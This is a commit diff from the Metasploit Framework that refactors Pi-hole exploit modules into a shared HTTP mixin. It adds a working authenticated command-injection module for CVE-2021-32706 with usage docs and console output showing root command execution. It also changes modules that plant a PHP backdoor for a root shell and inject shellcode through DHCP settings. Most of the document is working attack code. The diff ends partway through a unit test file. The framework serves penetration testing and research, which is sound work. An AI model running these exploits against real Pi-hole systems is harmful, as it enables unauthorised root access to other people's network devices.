some cleanup for rubocop
This commit is contained in:
parent
c1f06eace8
commit
c3e0f455ec
|
@ -0,0 +1,84 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This exploits a command execution in Pi-Hole Web Interface <= 5.5.
|
||||
The Settings > API/Web inetrace page contains the field
|
||||
Top Domains/Top Advertisers which is validated by a regex which does not properly
|
||||
filter system commands, which can then be executed by calling the gravity
|
||||
functionality. However, the regex only allows a-z, 0-9, _.
|
||||
|
||||
### Docker Compose
|
||||
|
||||
```
|
||||
version: "3"
|
||||
|
||||
# More info at https://github.com/pi-hole/docker-pi-hole/ and https://docs.pi-hole.net/
|
||||
services:
|
||||
pihole:
|
||||
container_name: pihole
|
||||
image: pihole/pihole:v5.5
|
||||
ports:
|
||||
#- "53:53/tcp"
|
||||
#- "53:53/udp"
|
||||
#- "67:67/udp"
|
||||
- "192.168.2.199:80:80/tcp"
|
||||
environment:
|
||||
TZ: 'America/Chicago'
|
||||
WEBPASSWORD: ''
|
||||
# Volumes store your data between container upgrades
|
||||
volumes:
|
||||
- './etc-pihole/:/etc/pihole/'
|
||||
- './etc-dnsmasq.d/:/etc/dnsmasq.d/'
|
||||
# Recommended but not required (DHCP needs NET_ADMIN)
|
||||
# https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
|
||||
cap_add:
|
||||
- NET_ADMIN
|
||||
restart: unless-stopped
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/admin/http/pihole_domains_api_exec`
|
||||
2. Do: `set rhosts [ip]`
|
||||
3. Do: `run`
|
||||
4. You should get the output from the command.
|
||||
|
||||
## Options
|
||||
|
||||
### COMMAND
|
||||
|
||||
The command to run. This is VERY restrictive. Valid characters are `0-9`, `a-z`, `_`.
|
||||
[Ref](https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71). Defaults to `pwd`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Pi-hole v5.2.4 with Web Interface 5.3.1 via Docker
|
||||
|
||||
```
|
||||
[*] Processing pihole.rb for ERB directives.
|
||||
resource (pihole.rb)> use auxiliary/admin/http/pihole_domains_api_exec
|
||||
resource (pihole.rb)> set rhosts 192.168.2.199
|
||||
rhosts => 192.168.2.199
|
||||
resource (pihole.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (pihole.rb)> run
|
||||
[*] Running module against 192.168.2.199
|
||||
[+] Web Interface Version Detected: 5.3.1
|
||||
[*] Using token: YbGnWVA3ogVs0eLaKjEDGPaX8Zy1l5X3dxfHHSdy6r8=
|
||||
[*] Sending payload request
|
||||
[*] Forcing gravity pull
|
||||
[+] /var/www/html/admin/scripts/pi-hole/php
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/pihole_domains_api_exec) > set command whoami
|
||||
command => whoami
|
||||
msf6 auxiliary(admin/http/pihole_domains_api_exec) > run
|
||||
[*] Running module against 192.168.2.199
|
||||
|
||||
[+] Web Interface Version Detected: 5.3.1
|
||||
[*] Using token: 9dtOO2bIndYSyJ1KsGYBa7pV5B4MToTQB1h2dmRfHk8=
|
||||
[*] Sending payload request
|
||||
[*] Forcing gravity pull
|
||||
[+] root
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,84 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with pihole installations
|
||||
module Pihole
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', ''])
|
||||
], Msf::Exploit::Remote::HTTP::Pihole
|
||||
)
|
||||
end
|
||||
|
||||
# Extracts the Pihole version information from the admin page
|
||||
#
|
||||
# @return [(String, String, String),nil] Pihole versions if found (version, web_version, ftl_version), nil otherwise
|
||||
def get_versions
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
|
||||
|
||||
# Verified against:
|
||||
# (current) 5.7, 5.12.1, 5.9
|
||||
# 5.2.2, 5.2.2, 5.3.3
|
||||
# 4.4, 4.3.3, 4.3.1
|
||||
# 4.3.2, 4.3, 4.3.1
|
||||
|
||||
unless %r{<(?:strong|b)>Pi-hole(?: Version)?\s*</(?:strong|b)>\s*(?:<a .*?>)?v(?<version>[\d.]{1,8})\s*<}m =~ res.body
|
||||
# vDev versions
|
||||
%r{<(?:strong|b)>Pi-hole(?: Version)?\s*</(?:strong|b)>\s*(?:<a .*?>)?vDev \(\w+, v(?<version>[\d.]{1,8})[\w-]+\)<}m =~ res.body
|
||||
end
|
||||
%r{<(?:strong|b)>Web Interface(?: Version)?\s*</(?:strong|b)>\s*(?:<a .*?>)?v(?<web_version>[\d.]{1,8})\s*<}m =~ res.body
|
||||
%r{<(?:strong|b)>FTL(?: Version)?\s*</(?:strong|b)>\s*(?:<a .*?>)?v(?<ftl_version>[\d.]{1,8})\s*<}m =~ res.body
|
||||
return version, web_version, ftl_version
|
||||
end
|
||||
|
||||
# Performs a login to pihole
|
||||
#
|
||||
# @return [String,nil] cookie if login was successful, nil otherwise
|
||||
def login(password)
|
||||
vprint_status('Attempting login.')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'vars_get' => {
|
||||
'login' => ''
|
||||
},
|
||||
'vars_post' => {
|
||||
'pw' => password
|
||||
},
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password')
|
||||
end
|
||||
res.get_cookies
|
||||
end
|
||||
|
||||
# Performs a gravity update
|
||||
#
|
||||
# @return [HTTPResponse,nil] HTTPResponse
|
||||
def update_gravity
|
||||
vprint_status('Forcing gravity pull')
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'),
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Pihole
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Pi-Hole Top Domains API Authenticated Exec',
|
||||
'Description' => %q{
|
||||
This exploits a command execution in Pi-Hole Web Interface <= 5.5.
|
||||
The Settings > API/Web inetrace page contains the field
|
||||
Top Domains/Top Advertisers which is validated by a regex which does not properly
|
||||
filter system commands, which can then be executed by calling the gravity
|
||||
functionality. However, the regex only allows a-z, 0-9, _.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'SchneiderSec' # original PoC, discovery
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5cm9-6p3m-v259'],
|
||||
['CVE', '2021-32706']
|
||||
],
|
||||
'Targets' => [
|
||||
[ 'Automatic Target', {}]
|
||||
],
|
||||
'DisclosureDate' => '2021-08-04',
|
||||
'Privileged' => true,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
|
||||
OptString.new('COMMAND', [ true, 'The command to execute. Only 0-9, a-z, _ are allowed.', 'pwd']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
_version, web_version, _ftl = get_versions
|
||||
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')
|
||||
vprint_good("Web Interface Version Detected: #{web_version}")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
vprint_bad("Web Interface Version Detected: #{web_version}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def validate_command
|
||||
# https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71
|
||||
unless /^((\*.)?[_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([_a-z\d])*)*$/i =~ datastore['COMMAND']
|
||||
fail_with(Failure::BadConfig, 'COMMAND invalid. only _, a-z, 0-9 are allowed.')
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
validate_command
|
||||
if check != Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
|
||||
end
|
||||
|
||||
# get token
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' => {
|
||||
'tab' => 'api'
|
||||
},
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
|
||||
# check if we got hit by a login prompt
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
res = login
|
||||
end
|
||||
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
fail_with(Failure::BadConfig, 'Incorrect Password')
|
||||
end
|
||||
|
||||
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
|
||||
# may also include /
|
||||
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
|
||||
|
||||
unless token
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to find token')
|
||||
end
|
||||
vprint_status("Using token: #{token}")
|
||||
print_status('Sending payload request')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' => {
|
||||
'tab' => 'api'
|
||||
},
|
||||
'vars_post' => {
|
||||
'domains' => "*;#{datastore['COMMAND']}",
|
||||
'clients' => '',
|
||||
'querylog-permitted' => 'on',
|
||||
'querylog-blocked' => 'on',
|
||||
'field' => 'API',
|
||||
'token' => token
|
||||
},
|
||||
'keep_cookies' => 'true',
|
||||
'method' => 'POST'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to save settings') unless res && res.body.include?('The API settings have been updated')
|
||||
res = update_gravity
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to update gravity') unless res && res.code == 200
|
||||
# first line after our output should be: data: [i] Neutrino emissions detected...
|
||||
output = res.body.split(' [i] ')[0]
|
||||
# remove beginning of line with data on it
|
||||
output = output.gsub(/^data:/, '')
|
||||
# removing last line since its empty
|
||||
output = output.split[0..-1]
|
||||
|
||||
print_good(output.join("\n"))
|
||||
end
|
||||
end
|
|
@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HTTP::Pihole
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -91,17 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
|
||||
|
||||
# <b>Pi-hole Version <\/b> v4.3.2 <b>
|
||||
# <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>
|
||||
%r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d.]+).*<b>} =~ res.body
|
||||
|
||||
version, _web_version, _ftl = get_versions
|
||||
if version && Rex::Version.new(version) <= Rex::Version.new('4.4')
|
||||
vprint_good("Version Detected: #{version}")
|
||||
return CheckCode::Appears
|
||||
|
@ -115,7 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def add_blocklist(file, token, cookie)
|
||||
def add_blocklist(file, token)
|
||||
# according to the writeup, if you have a port, the colon gets messed up in the encoding.
|
||||
# also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
|
||||
# messed with.
|
||||
|
@ -129,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_get' => {
|
||||
'tab' => 'blocklists'
|
||||
},
|
||||
|
@ -137,34 +128,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
end
|
||||
|
||||
def update_gravity(cookie)
|
||||
vprint_status('Forcing gravity pull')
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'),
|
||||
'cookie' => cookie
|
||||
)
|
||||
end
|
||||
|
||||
def execute_shell(backdoor_name, cookie)
|
||||
def execute_shell(backdoor_name)
|
||||
vprint_status('Popping root shell')
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name),
|
||||
'cookie' => cookie
|
||||
)
|
||||
end
|
||||
|
||||
def login(cookie)
|
||||
vprint_status('Login required, attempting login.')
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'tab' => 'blocklists'
|
||||
},
|
||||
'vars_post' => {
|
||||
'pw' => datastore['PASSWORD']
|
||||
},
|
||||
'method' => 'POST'
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
end
|
||||
|
||||
|
@ -193,15 +161,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
begin
|
||||
# get cookie
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
cookie = res.get_cookies
|
||||
print_status("Using cookie: #{cookie}")
|
||||
|
||||
# get token
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'cookie' => cookie,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_get' => {
|
||||
'tab' => 'blocklists'
|
||||
}
|
||||
|
@ -209,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
# check if we got hit by a login prompt
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
res = login(cookie)
|
||||
res = login
|
||||
end
|
||||
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
|
@ -229,28 +196,28 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
|
||||
register_file_for_cleanup backdoor_name
|
||||
print_status('Adding backdoor reference')
|
||||
add_blocklist(backdoor_name, token, cookie)
|
||||
add_blocklist(backdoor_name, token)
|
||||
|
||||
# update gravity
|
||||
update_gravity(cookie)
|
||||
update_gravity
|
||||
if @stage == 0
|
||||
print_status('Sending 2nd gravity update request.')
|
||||
update_gravity(cookie)
|
||||
update_gravity
|
||||
end
|
||||
|
||||
# plant root upgrade
|
||||
print_status('Adding root reference')
|
||||
add_blocklist('teleporter.php', token, cookie)
|
||||
add_blocklist('teleporter.php', token)
|
||||
|
||||
# update gravity
|
||||
update_gravity(cookie)
|
||||
update_gravity
|
||||
if @stage == 1
|
||||
print_status('Sending 2nd gravity update request.')
|
||||
update_gravity(cookie)
|
||||
update_gravity
|
||||
end
|
||||
|
||||
# pop shell
|
||||
execute_shell(backdoor_name, cookie)
|
||||
execute_shell(backdoor_name)
|
||||
print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
|
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Pihole
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -52,7 +53,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
|
||||
]
|
||||
)
|
||||
|
@ -60,24 +60,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
|
||||
_version, web_version, _ftl = get_versions
|
||||
|
||||
# vDev (HEAD, v4.3-0-g44aff72)
|
||||
# v4.3
|
||||
# rubocop:disable Lint/MixedRegexpCaptureTypes
|
||||
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
|
||||
# rubocop:enable Lint/MixedRegexpCaptureTypes
|
||||
|
||||
if version && Rex::Version.new(version) <= Rex::Version.new('4.3.2')
|
||||
vprint_good("Version Detected: #{version}")
|
||||
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
|
||||
vprint_good("Web Interface Version Detected: #{web_version}")
|
||||
return CheckCode::Appears
|
||||
else
|
||||
vprint_bad("Version Detected: #{version}")
|
||||
vprint_bad("Web Interface Version Detected: #{web_version}")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
|
@ -86,28 +75,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def login(cookie)
|
||||
vprint_status('Login required, attempting login.')
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'tab' => 'piholedhcp'
|
||||
},
|
||||
'vars_post' => {
|
||||
'pw' => datastore['PASSWORD']
|
||||
},
|
||||
'method' => 'POST'
|
||||
)
|
||||
end
|
||||
|
||||
def add_static(payload, cookie, token)
|
||||
def add_static(payload, token)
|
||||
# we don't use vars_post due to the need to have duplicate fields
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => 'true',
|
||||
'vars_get' => {
|
||||
'tab' => 'piholedhcp'
|
||||
},
|
||||
|
@ -134,15 +108,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@macs = []
|
||||
# get cookie
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'keep_cookies' => 'true'
|
||||
)
|
||||
cookie = res.get_cookies
|
||||
print_status("Using cookie: #{cookie}")
|
||||
|
||||
# get token
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'cookie' => cookie,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_get' => {
|
||||
'tab' => 'piholedhcp'
|
||||
}
|
||||
|
@ -150,16 +123,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
# check if we got hit by a login prompt
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
res = login(cookie)
|
||||
end
|
||||
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
fail_with(Failure::BadConfig, 'Incorrect Password')
|
||||
cookie = login
|
||||
# get token
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'cookie' => cookie,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_get' => {
|
||||
'tab' => 'piholedhcp'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
|
||||
# may also include /
|
||||
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
|
||||
if res
|
||||
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
|
||||
end
|
||||
|
||||
unless token
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to find token')
|
||||
|
@ -180,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
mac = rand_text_hex(12).upcase
|
||||
@macs << mac
|
||||
vprint_status("Validating path with MAC: #{mac}")
|
||||
res = add_static("#{mac}$PATH", cookie, token)
|
||||
res = add_static("#{mac}$PATH", token)
|
||||
|
||||
# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
|
||||
env = res.body.match(/value="#{mac}(?<env>.*)">/)
|
||||
|
@ -215,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
vprint_status("Shellcode: #{shellcode}")
|
||||
print_status('Sending Exploit')
|
||||
add_static(shellcode, cookie, token)
|
||||
add_static(shellcode, token)
|
||||
|
||||
# we don't use vars_post due to the need to have duplicate fields
|
||||
ip = '192.168'
|
||||
|
@ -223,7 +203,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'keep_cookies' => 'true',
|
||||
'method' => 'POST',
|
||||
'vars_get' => {
|
||||
'tab' => 'piholedhcp'
|
||||
|
|
|
@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HTTP::Pihole
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -45,39 +46,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
|
||||
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def login(cookie)
|
||||
vprint_status('Login required, attempting login.')
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'tab' => 'blocklists'
|
||||
},
|
||||
'vars_post' => {
|
||||
'pw' => datastore['PASSWORD']
|
||||
},
|
||||
'method' => 'POST'
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
# get cookie
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
|
||||
)
|
||||
cookie = res.get_cookies
|
||||
print_status("Using cookie: #{cookie}")
|
||||
|
||||
# get token
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
|
||||
'cookie' => cookie,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_get' => {
|
||||
'l' => 'white'
|
||||
}
|
||||
|
@ -85,11 +63,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
# check if we got hit by a login prompt
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
res = login(cookie)
|
||||
end
|
||||
|
||||
if res && res.body.include?('Sign in to start your session')
|
||||
fail_with(Failure::BadConfig, 'Incorrect Password')
|
||||
cookie = login
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
|
||||
'keep_cookies' => 'true',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'l' => 'white'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
# <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>
|
||||
|
@ -106,6 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'keep_cookies' => 'true',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'),
|
||||
'vars_post' => {
|
||||
'domain' => "#{rand_text_alphanumeric(3..5)}.com;#{cmd}",
|
||||
|
@ -117,24 +101,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
|
||||
_version, web_version, _ftl = get_versions
|
||||
|
||||
# vDev (HEAD, v3.2.1-0-g31dddd8-dirty)
|
||||
# v3.2.1
|
||||
# rubocop:disable Lint/MixedRegexpCaptureTypes
|
||||
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
|
||||
# rubocop:enable Lint/MixedRegexpCaptureTypes
|
||||
|
||||
if version && Rex::Version.new(version) < Rex::Version.new('3.3')
|
||||
vprint_good("Version Detected: #{version}")
|
||||
if web_version && Rex::Version.new(web_version) < Rex::Version.new('3.3')
|
||||
vprint_good("Web Interface Version Detected: #{web_version}")
|
||||
return CheckCode::Appears
|
||||
else
|
||||
vprint_bad("Version Detected: #{version}")
|
||||
vprint_bad("Web Interface Version Detected: #{web_version}")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
|
|
|
@ -0,0 +1,160 @@
|
|||
# -*- coding:binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do
|
||||
subject do
|
||||
mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
mod
|
||||
end
|
||||
|
||||
let(:valid_password) do
|
||||
'password'
|
||||
end
|
||||
|
||||
let(:valid_cookie) do
|
||||
'PHPSESSID=ma4vsmicoesr8ajajraehad6mb'
|
||||
end
|
||||
|
||||
let(:valid_code) do
|
||||
200
|
||||
end
|
||||
|
||||
describe '#pihole_versions' do
|
||||
it 'raises error if page can not be reached' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_versions).to raise_error(RuntimeError)
|
||||
end
|
||||
|
||||
it 'returns nil,nil,nil when page can be reached but isn\'t a Pihole' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = 'Hello World'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_versions).to eq([nil, nil, nil])
|
||||
end
|
||||
|
||||
it 'returns 5.7, 5.9, 5.12.1, to version 5.7, 5.9, 5.12.1' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = "<li>\n"
|
||||
res.body << "<strong>Pi-hole</strong>\n"
|
||||
